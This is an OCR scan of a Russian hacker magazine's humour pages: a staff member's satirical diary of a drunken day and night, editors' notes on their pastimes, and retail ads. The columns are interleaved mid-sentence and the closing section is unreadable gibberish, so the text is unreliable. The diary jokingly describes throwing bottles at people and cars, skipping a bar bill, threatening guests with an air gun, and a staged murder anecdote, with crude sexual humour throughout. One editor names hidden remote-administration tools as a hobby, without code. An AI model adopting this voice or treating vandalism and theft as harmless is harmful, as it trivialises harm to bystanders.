нем. Обильно смазал пенис зубной пастой и сбрил его. Намылил го- семь отличных порносайтов, скачан альбом Тутси, просмотрен 

лову пеной для бритья. фильм «Кин-дза-дза». 

8:20 — Пошел в туалет. «Эй!». 1 8:00 — Поступило предложение спуститься на улицу в магазинчик. 

8:30 — Оправившись от шока, уселся за стол. Опрокинул кипяток на — Ну что, по пивку? — спросил кто-то. 

промежность. С грустью заметил: «Уже не важно...». — А я, пожалуй, похрустеть возьму. 

8:45 — Посмеялся над Симпсонами и подрыгался под МТВ. — ??? 

9:00 — Играл в метро на эскалаторе в игру «Скольким бы девушкам — Должен признаться, что в последнее время схожу с ума по сухари- 

я отдался?». Насчитал двух. Парней. кам. На самом деле это целый мир со своими правилами, опасностя- 

9:15 — Посчитал количество вагонов поезда метро. Оказалось, что ми и удовольствиями. К примеру, если попросить пачку любых суха- 

их шесть. А раньше казался таким длинным. риков, то ты полностью полагаешься на судьбу и лишь отчасти — на 

9:30 — Выбирал в магазине пиво. Колебался между девяткой и «Коз- человеческий фактор. Время практически останавливается, и каждая 
лом». С одной стороны, вкус и результат, с другой — цвет и качест- секунда кажется последней. Русская рулетка обретает совершенно 

во. В итоге купил йогурт. иной, мифически-ложный вид, предлагая практически беспроигрыш- 

10:00 — Одногруппники обманом заманили в институт. ЗМЗ: «Около ный вариант. Эффект неожиданности заставляет чувствовать себя 
инета халява: кола + печенье. Быть». Паразиты. несмышленым мальчишкой, ждущего сюрприза... 

1 1 :30 — В перерыве занятий тайно вынес за пазухой йогурт в туалет 1 8:20 — «...это и есть то неизведанное, что тянет к себе и чарует 
и там съел. Грязный палец вытер туалетной бумагой. миллионы!». 

1 1 :40 — Объяснял девушкам, что это вовсе не жвачка, а новые духи Слушатели осторожно втыкали в услышанное. Вывод, впрочем, был 

со вкусом йогурта. Дурочки поверили. сделан абсолютно верный. 

1 3:00 — Еще один перерыв. Йогурта больше нет, но в туалет все-та- 18:25 — «Дайте, пожалуйста, восемь пачек сухариков. Любых!». 
ки сходил. 1 8:30 — Напряженная рабочая обстановка установилась в редакции: 

13:05 — Пытался убежать. Не смог. «Хрум, хрум». 

13:10 — Наводящими вопросами отвлекал преподавателя от темы 19:00 — Конец рабочего дня. В метро всей редакцией насчитали 19 жертв 
занятия. Узнал всю его биографию и правила посадки фиалки в гру- всех полов и возрастов. Рассказал всем о феномене с количеством ваго- 

бом черноземе. нов в поезде. Удивлению остальных не было предела. Договорились о бу- 

14:30 — Сбежал из института. На этот раз на эскалаторе насчитал дущем месте и времени встречи и разъехались по домам готовиться. 
трех девушек и одного спаниеля. Собачонка, похоже, почувствовала 1 9:20 — Поставил яичницу на огонь и полез в душ. На всякий случай 

это, но мне не захотелось ближе знакомиться. побрил подмышки, грудь и бедра с внутренней стороны. Пятки и моч- 

14:50 — Некрасивая девочка готичного стиля попросила телефон, ки ушей мягко помассировал. Довольно хмыкнул и закричал, почув- 
Позвонить. Не дал. ствовав запах яичницы. 

1 5:00 — Забежал домой и успел расслабиться перед компьютером 1 9:30 — Открыв все окна в квартире, поставил варить пельмени и 
(послушал музыку, извращенцы). уселся за компьютер. 

1 5:10 — Судорожно стал собираться на работу. На судороги прихо- Меззаде: «Я хочу поиграть с твоим петушком». 

дилось не обращать внимания. По пути зашел в магазин за минерал- Веріу: «Баян, идеоты!». 

кой, но подсунули снова йогурт. 1 9:40 — Кое-что сделал по работе (адреса порно сайтов прочно въе- 

1 5:30 — С улыбкой зашел в редакцию. С той же улыбкой обрадова- лись в память). 

ли, что я обязан сегодня на ночь приютить всех после клуба. Злость 1 9:50 — Съел 23 пельменя — ритуал. Съем меньше — останется 
пришлось утопить в йогурте. чувство невыполненного долга. Больше — лопну. 
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20:00 — Сел составлять план культурных мероприятий на вечер. Но 
затем вспомнил прошлые встречи и решил заняться чем-нибудь бо- 

лее полезным. 

20:10 — Полез искать, чем бы подушиться. Нашел старый одеколон 

80-х годов и вспомнил байки о том, как их пьют. 

20:50 — Проснулся от боли в горле. Прочистил на всякий случай желу- 
док марганцовкой и заел йогуртом, благо в холодильнике НЗ на год. На- 

щупал шишку на затылке и приложил кусок снега из морозилки.. 

21 :00 — Пришлось размораживать мозг теплой водой. 

21:10 — Оделся поприличней (шорты, балахон), причесался 
гребнем и пошел сперва на свидание, назначенное через интер- 
нет. За ужасное личико на фотке прозвал ее Крокодильчиком. 
Она оказалась совсем молода, но балаболиста. Крокодильчик 
постоянно пытался обняться, несмотря на всю абсурдность сего 
действа. Единственное стоящее объяснение терпения данной 
ситуации — это желание пожрать за чужой счет. Вдоволь наев- 

шись, решено продолжать. 

21 :45 — Попрощавшись с милым созданием и завернув с собой кое- 
какую еду, пора было идти на встречу с ковбоями из редакции, кото- 

рые, судя по десяткам сообщений и звонков, уже заждались. 

21 :55 — На месте сбора пусто. Приходит СМС: «Ха-ха, 15-ое мая — ни- 
кому не верю!». Из-за угла сразу же высунулись довольные лица со рта- 

ми, набитыми сухариками. Обкидал их снежками (не умничать!). 

22:05 — Решено было догнаться в баре. Все взяли пиво. Задумался: 

— А есть что-нибудь полегче? 

— Полегче? — удивился бармен. — Есть йогурт в бутылках. 

— Офигеть! Дайте две. 

22:30 — Горючее кончилось. Вытащив всех на улицу, указал в сто- 

рону клуба. Они пошли в другую. Парой ударов развернул. 

22:35 — Пока шли, встретили много жриц любви, стойких к оско- 
рблениям и мягких к домоганиям. А вот от камней убегали. 

22:40 — В клуб по непонятным причинам охранники нас не пустили. 
Похоже, «Голубая устрица» была переполнена. С «Ароматной мыш- 
кой» и «Альбатросиком» та же ситуация. 

22:50 — Дружно гуляли, шутили и кидались бутылками в прохожих. 
Один точный бросок в проезжавший мимо джип раскрыл в нас та- 
ланты спринтеров. 

23:10 — После сбора в баре началось настоящее пиршество. С каж- 
дой бутылкой чувствовал, что наутро буду точно йогуртом ссать. Бо- 



калы пустели один за другим, пока кто-то не спросил, кто же за все 

это заплатит. Убежали через окно в туалете. 

23:30 — На эскалаторе насчитали 54 человека. Четырех догнали и по- 
несли с собой. 

23:50 — Снова сыграли с судьбой в рулетку — закупили сухариков. 
00:10 — Команда шалунишек пришла на квартиру. Объевшись йо- 
гуртов (единственное, что было из еды), гости принялись играть в 
шарады. «Ближе к делу!» — прозвучал чей-то голос. Через мгнове- 
ние все уже сидели в кругу и играли в карты. На раздевание играть 
никто не захотел, поэтому я разделся просто так. 

01:10 — Включил компьютер и поделился со всеми своими наработ- 
ками. Многое их приятно удивило, и почти все попросили распеча- 

тать адреса. 

02:00 — Начал петь. Но гости уходить явно не собирались. Тогда 

стал еще и танцевать — заперли в ванной. 

02:25 — Кому-то потребовалась ванная. Перевели в туалет. 

03:00 — После пары минут общения половина моего контакт-листа 

ІСО удалила со своих компьютеров эту программу. 

03:05 — Выпустили и заставили веселить. Ловко жонглировал дис- 

кетами. 

03:1 5 — Зачитал свои стихи: 

«Мы люди времени иного. 

Мы люди, что не верят в сказки. 

Мы люди, кто приходят снова. 

А ты не людь! Катись колбаской!». 

Реакция, как и ожидалось, была неоднозначной: сперва смех, затем 
аплодисменты, и потом плач, ибо терпеть это не у всех были силы. 
03:30 — Внезапно половина гостей начала собираться уходить. Из 

приличия сказал: «Да оставайтесь!». Остались, гады. 

03:50 — Начали рассказывать страшилки. Рассказал, как убил чело- 
века: «В детстве у меня был хороший друг, постоянно играли друг с 
другом. Как-то раз пригласил его в гости. Потом ему надо было ухо- 
дить, но он даже не собирался. И я забил его до смерти монтиров- 
кой!». Гости переглянулись. 

04:20 — Снова намекнул, чтобы проваливали. Намек не поняли. 
04:30 — Выгнал всех в подъезд, держа на мушке пневматики. Ушли, 
предварительно позвонив во все соседние двери. 

05:00 — Поставил будильник на 7 часов. 

07:00 — Перевел на 8. 
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Х-СВЕѴѴ СОММЕЫТЗ: 

Мы не всегда сидим за компами в редакции и работаем 
над новым номером журнала. Мы же не роботы какие-то, 
правда? :) Иногда мы позволяем себе отдохнуть немножко, 
развеяться, повеселиться. То, как любят оттягиваться члены 
нашей команды, ты узнаешь, если не станешь перелисты- 
вать страницу :). Чтобы выяснить, на какие, собственно, 
шиши отрываются наши коллеги, мы тайно похитили их 
бумажники и опубликовали — вместо фото. Надеюсь, нам 
это простят :) 
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ака Лозовский 
Если честно, я особо не тусу- 
юсь. Совершать телодвижения 
в клубах под местную музыку 
мне слегка в облом, хотя, что уж 
греха таить, иногда я там бы- 
ваю. В основном, из-за необхо- 
димости просто выйти в люди :). 
Больше я люблю ходить на кон- 
церты разных металлических 
команд («Мастер», «Легион», 
«Аргир», «Катарсис» и далее по 
списку). Хотя в последнее вре- 
мя я на них тоже круто подза- 
вил. Например, хотел попасть 
на СаІЬагзіз, но в результате 
пропустил два концерта под- 
ряд из-за разных дел. В общем, 
домосед я, получается. 
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Вообще, по замыслу Бублика я должен здесь 
разглагольствовать о том, как обычно колба- 
шусь. О том, как я зажигаю во всех барах под- 
ряд, во всех клубах, пабах, хожу на концерты и 
т.п. В принципе, я мог бы и рассказать — это дос- 
таточно познавательно. Но, к сожалению, не 
слишком поучительно. Лучше я о чем-нибудь по- 
лезном прогружу. Скажем, о создании скрытых 
систем удаленного администрирования (Коля, я 
тебя убью! — Прим. Бублика). Занятие это очень 
интересное и невероятно полезное. Оно позво- 



ляет играючи разобраться во реализации внут- 
ренностей самых сложных в системе механиз- 
мов. Научиться максимально оптимизировать 
свои программы. Понять все тонкости синтакси- 
са языка, на котором происходит разработка, 
научиться думать, как вирус... В общем, это все 
очень весело (если законно. Если незаконно, то 
невесело. Не занимайся разработкой незакон- 
ных программ), по мне так куда веселее, чем дни 
напролет бухать и слушать попсу (А кто меня 
постоянно зовет выпить? — Прим. Бублика). 
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В Москве есть Независимая Федерация рестлинга. 
Рестлинг — это такое шоу, в котором бьют понарошку, 
не прикасаясь особо сильно друг к другу. Однако 
прыгают, крутят сальто и прочие фишки выполняют там 
— мама не горюй! Раз в две недели я с друзьями посе- 
щаю очередное выступление и яростно болею за Во- 
вочку и судью Рейна. Они самые лучшие, об этом уже 
знают все постоянные посетители рестлинга, потому 
что накачавшись пивом, как заядлый футбольный бо- 
лельщик, я скандирую их имена без устали на протя- 
жении всего шоу. И мне пофиг, Вовочка на ринге или 
кто-то другой — все равно из моих уст доносится: «Во- 
о-овочка лу-у-учший!М». 
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Ага, сейчас, наверняка, все будут юмо- 
рить, пытаясь придумать, как извращенно 
они отрываются. Так что прочитав все эти 
рассказы, ты уже достаточно посмеешься, 
поэтому я расскажу тебе без шуток о том, 
как веселюсь я. Честно и без купюр. Глав- 
ным фактором, определяющим удачно 
проведенное время, является наличие в 
фотоаппарате фоток, на которые потом 
смотришь и говоришь: «Уй, я это вчера де- 
лал?!». Если есть такое — значит, все прош- 
ло удачно, был треш и угар. А где это было 
— не суть важно. Будь то клуб, кухня друга, 
кровать подруги (или, опять же, друга... — 
Прим. Бублика), туристическая палатка, 
бессонная ночь в городе, вообще не пой- 
ми как проведенное время . . . 



Веселье в стиле трэш-гламур у 
меня бывает не так чтобы уж час- 
то, но бывает. А так, чтобы душа 
развернулась — я выхожу на 
пейнтбольное поле и, зажав 
стальной хваткой пейнтбольный 
маркер, навожу на расстоянии 
прямого выстрела конституцион- 
ный порядок. Особый кайф и 
просто настоящее пейнтболь- 
ное событие года — это Большие 
пейнтбольные маневры. 

Для непосвященных: на огром- 
ной местности в несколько гек- 
таров сражаются две армии, 
численностью в несколько со- 
тен человек. Бронедивизия «Же- 
лезный капут» на своих мегатан- 
ках, минометчики и постанов- 
щики дымовых завес — это все 
позволяет стать берсеркером и 
порвать врагов в клочья! 
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>ТЕПЕРЬ У ТЕБЯ 
ЕСТЬ ВОЗМОЖНОСТЬ 
ИСПРАВИТЬ 
НАШИ ОШИБКИ! 

К сожалению (а может, и к счастью - кто знает?), случается так, что мы 
ошибаемся, опечатываемся и тупим. Как люди и как компьютеры. Как все. 
Чтобы хоть как-то замолить свои грехи, мы предлагаем тебе присылать 
нам письма с описанием найденных багов. Письма эти мы прочитаем и 
исправим ошибки в следующем номере. Ждем. 

[ОЕВІЮѲЕВ@ВЕАІ_.ХАКЕР.ВІі] 



ГІ.АТѴЮЫ Р700Р 

Абсолютно плоский экран 
Размер точки 0,24 мм 
Частота развертки 95 кГ ц 
Экранное разрешение 1 600x1 200 
ЦЗВ-интерфейс 
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<095} 68К-61- 17, 688-27-65 

\ѵ\ѵ\ѵ\оѵс'омр.кі; 



Москва: АБ-групп (095) 745-5175; Акситек (095) 784-7224; Банкос (095) 128-9022; ДЕЛ (095) 250-5536; Дилайн (095) 969-2222; Инкотрейд (095) 176-2873; ИНЭЛ (095) 742-6436; Карин (095) 956-1158 
Компьютерный салон ЗМ5 (095) 956-1225; Компания КИТ (095) 777-6655; Никс (095) 974-3333; 0ЛДИ (095) 105-0700; Регард (095) 912-4224; Сетевая Лаборатория (095) 784-6490 
СКИД (095) 232-3324; Тринити Электронике (095) 737-8046; Формоза (095) 234-2164; Ф-Центр (095) 472-6104; ЭЛСТ (095) 728-4060; РІаке (095) 236-992; Рогсе Сотриіегз (095) 775-6655 
І5М (095) 718-4020; Меі)іп (095) 727-1222; ИТ Сотриіег (095) 970-1930; К-ЗІуІе Тгабіпд (095) 514-1414; иЗИ Сотриіегз (095) 755-8202; ІЛ.ТРА Сотриіегз (095) 729-5255; ЭЛЕКТОН (095) 956-3819 
ПортКом (095)777-0210; Архангельск: Северная Корона (8182) 653-525; Волгоград: Техком (8612) 699-850; Воронеж: Рет (0732) 779-339; РИАН (0732) 512-412; Сани (0732) 54-00-00 
Иркутск: Билайн (3952) 240-024; Комтек (3952) 258-338; Краснодар: Игрек (8612) 699-850; Лабытнанги: КЦ ЯМАЛ (34992) 51777; Липецк: Регард-тур (0742) 485-285 
Новосибирск: Квеста (38322) 332-407: Нижний Новгород: Бюро-К (8312) 422-367; Пермь: Гаском (8612) 699-850; Ростов-на-Дону: Зенит-Компьютер (8632) 950-300 
Тюмень: ИНЭКС-Техника (3452) 390-036. 




іі и* і т 

*(| М I 




Ш Н и • Ііш | 

1 I «а I ;і 

I • I ІИ м*м ті 

і иітии ѵи 







|>и»мчч*іі 

Кіцііт ѴІІМІІ' 
ІЯ II ми 1111 II II 
’ІІІІІІІІІІІІІІІІ 



— - - іН ■ ■■І1П| НИМ II I 

ЯИШн і ||| >■•■ іи ■>■■■■ в и» 

I діі іяі м іп и м і* и» 

Ѵ ц ■•іяіаііпаі іа кі а 

|І) ■«■■■>« I Ш I Ій Ц, 

I «и вѵпваі івіві ві Н| 
■ ( 1 1 в ■ ■ 1 1 я і • 1 1 1 1 1 ■ і і , 

..■НИ **І НІІМІІІШИКІ 

ВВ ІІІІІ: 

иПшшйЕ 

!!!!! »•• •■■•іііжпіі 

I!!! I!!!! 111 ііі ■ми « * ц« 

ЩйШЩѵкі В || 1 1 • м і«а 

інііішііті „мин 

шішіііііі *(І а іі к и.ініі 
ІНІНМИШ 1 1 1 | • « • а • і ■ • і ■ 1 1 і • 
ВНІІІІІВІвІКІ і#і ІйІІІІ III II « I * 
ІІІІІІІІІІІНіН Ііввііікііааі 
і • а а а а н а а і * § а 



(ПІШШІІІ4 і 



14*111 й И ІІІІ I 



• К 



111111 Е I ? I III 



|Н 






ІІІІІІ1ІІІШЙІІ 



шіііінн 1 ! 



ИНН II II!) 1(1 •' 
ІвІІІІІІНШі 11 
Ни 1 ■! й 1 9 1 1 а і' і ' 






И і -решения для бизнеса 

На вйррОі. ЧТО Грін.^іевйЮиита іів-бийііч ТОнту 

АПН іцкгрОТ*іі«і Р*іутрг>р..>аі1 і'иф(ірмлі 4 м*р'Н 0 ^ структур* Прюдунту &щпадпд 
помсайі г^ 06 рпіл 1 ѵ,ілі п Здаини иік глобальным «йргкрнцн*ѵ глн 

* мзболыі.ым фмрл.ім Рцоапюинонн»^ яеіиОгчч’ИН исгчпь*уо^ь-'і И 
іщ^Оукіи:, пи'ідгні.гі упрсмстіыѵ і» иагчпарак, шиепишт Збнмигд па прошу 
■ЬИывОТЫ» идущей ИТ -ч№ШНН*Й 

Г*л4р*р 5щпрішд: г Міліі-і ■. ■ ^ $.‘ 1 ? яр ■ 

В-КО-МО-О-*» т^МЯИ^ЧбІ ЛСЯйВСМЯКЫпдаОіін 





иВИМЧІВ ■ і №ЧІ4' 

СІЯ Ий 








